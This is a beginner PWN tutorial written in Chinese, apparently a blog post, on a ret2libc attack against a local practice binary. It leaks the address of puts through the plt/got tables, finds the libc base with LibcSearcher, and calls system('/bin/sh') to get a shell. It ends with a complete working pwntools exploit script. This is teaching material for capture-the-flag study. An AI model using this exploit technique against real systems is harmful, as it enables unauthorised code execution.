PWN入门之libc表

实验目的

这次的实验的前提的我们不知道system和bin/sh的函数,然后通过泄露某个函数在libc表中的地址,再加上这几个函数的偏移量来计算system和bin/sh的地址,最后将这个地址覆盖到ret上,以便能跳至我们想要的函数,最终获得shellcode
我们还是以pwn举例

实验文件

链接:https://pan.baidu.com/s/1vgQo4W3P2xEMfdnfwMiaSg
提取码:jgq5

实验步骤

1、先对pwn进行静态分析,找出可以泄露的函数点在哪?
PWN入门之libc表_第1张图片
在这里,我认为有两个函数可以泄露:puts和setvbuf。在这里,我选择puts函数进行泄露。
2、动态调试
PWN入门之libc表_第2张图片
main的值是通过ida中的静态分析得出的
在这里插入图片描述
这里主要讲一下payload是怎么得出来的?
‘a’*112中的112是通过计算得出的需要覆盖ret而需要填充的字符数(这个在上个实验已经介绍过如何得到),‘a’是需要填充的字符(a也可以换成其他的字母)。
后面的是需要泄露的puts函数在libc表中的地址,而这个地址是函数在plt表和got表的地址同时组成。plt表是内部函数表,got表为全局函数表,这两个表相互对应。
PWN入门之libc表_第3张图片

在这里插入图片描述
pwnlib.gdb.attach函数是连接VScode和gdb动态调试的。
通过sendline函数将payload发送出去。
PWN入门之libc表_第4张图片
将泄露出的puts的地址接收并打印出来,并通过puts得到libc的基址。
PWN入门之libc表_第5张图片

通过偏移量计算出system和bin/sh的地址,并将其泄露出来。
在这里插入图片描述
在这里插入图片描述
程序第二次执行main函数,需要重新计算payload,该计算方法与上一个一样。

PWN入门之libc表_第6张图片
最后getshell
在这里插入图片描述
随便输入个指令看看是否getshell
PWN入门之libc表_第7张图片

最后附上exp.py

from pwn import *
from LibcSearcher import *
context.log_level='debug'
context.terminal=['gnome-terminal','-x','sh','-c']
p=process('./pwn')
elf=ELF('./pwn')
main=0x80484FD
payload='a'*112+p32(elf.plt['puts'])+p32(main)+p32(elf.got['puts'])
#pwnlib.gdb.attach(p)
p.recvuntil('try\n')
p.sendline(payload)
puts=u32(p.recv(4))
print('puts',hex(puts))
libc =LibcSearcher('puts',puts)
print libc
libcbase=puts-libc.dump('puts')
system=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')
print('system',hex(system))
print('binsh',hex(bin_sh))
payload='a'*104+p32(system)+p32(0xdeadbeef)+p32(bin_sh)
p.sendline(payload)
p.interactive()

你可能感兴趣的:(PWN入门之libc表)